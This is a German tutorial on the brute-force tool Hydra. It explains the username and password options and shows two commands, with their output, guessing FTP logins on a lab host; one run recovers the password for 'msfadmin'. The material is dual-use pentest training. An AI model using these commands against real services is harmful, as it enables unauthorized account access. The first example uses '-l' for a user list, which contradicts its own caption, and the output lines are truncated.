

Einführung in Hydra

Hydra ist ein leistungsfähiges Werkzeug für Sicherheitsexperten und Ethical Hacker, um Brute-Force-Attacken durchzuführen und so die Sicherheit von Systemen zu testen. Es unterstützt viele Protokolle, darunter SSH, FTP und SMTP (E-Mails), und ist in der Lage, sowohl Benutzernamen als auch Passwörter zu erraten.

Hydra ist bereits auf Kali Linux vorinstalliert, einer Linux-Distribution, die speziell für Sicherheitstests und Penetration Testing entwickelt wurde.

Wichtige Parameter

Bei der Nutzung von Hydra sind bestimmte Parameter wesentlich, um effektiv unterschiedliche Benutzernamen und Passwörter zu testen. Hier sind die wichtigsten Parameter aufgelistet:

- l (kleines L)**: Dieser Parameter ermöglicht es, einzelne Benutzernamen zu testen.
- L**: Mit diesem Parameter kannst du eine Datei angeben, die eine Liste von Benutzernamen enthält.
- p**: Hiermit kannst du ein einzelnes Passwort für den Test angeben.
- P**: Dieser Parameter erlaubt die Angabe einer Datei, die eine Liste von Passwörtern enthält.

Anwendungsbeispiele

Hydra kann auf verschiedene Arten genutzt werden, um die Sicherheit eines Systems zu überprüfen:

- **Passwort-Ermittlung**: Wenn der Benutzername bekannt ist, kann Hydra genutzt werden, um das zugehörige Passwort zu finden.
- **Benutzername-Ermittlung**: Mit einem bekannten Passwort kann Hydra helfen, den dazugehörigen Benutzernamen zu ermitteln.

- **Kombinierte Tests:** Durch Angabe von Listen für Benutzernamen und Passwörter können umfangreiche Tests durchgeführt werden, um die Kombination aus Benutzernamen und Passwort zu finden.

```
(kali@kali)-[~/Desktop]
$ hydra -l users.txt -p abc123 10.0.2.17 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use i
et service organizations, or for illegal purposes (this is non-binding, thes
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-29 15
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 tr
[DATA] attacking ftp://10.0.2.17:21/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-29 15
```

Abbildung 1: Angriff auf einen FTP-Zugang mit einem Passwort auf vielen Usern. Es wurde kein Passwort gefunden.

```
(kali@kali)-[~/Desktop]
$ hydra -l msfadmin -P passwords.txt 10.0.2.17 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use i
et service organizations, or for illegal purposes (this is non-binding, thes
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-29 15
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:1/p:9), ~
[DATA] attacking ftp://10.0.2.17:21/
[21][ftp] host: 10.0.2.17 login: msfadmin password: 314159265358979
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-29 15
```

Abbildung 2: Angriff auf einen FTP-Zugang mit einem User mit vielen Passwörtern. Es wurde das Passwort 314159265358979 gefunden.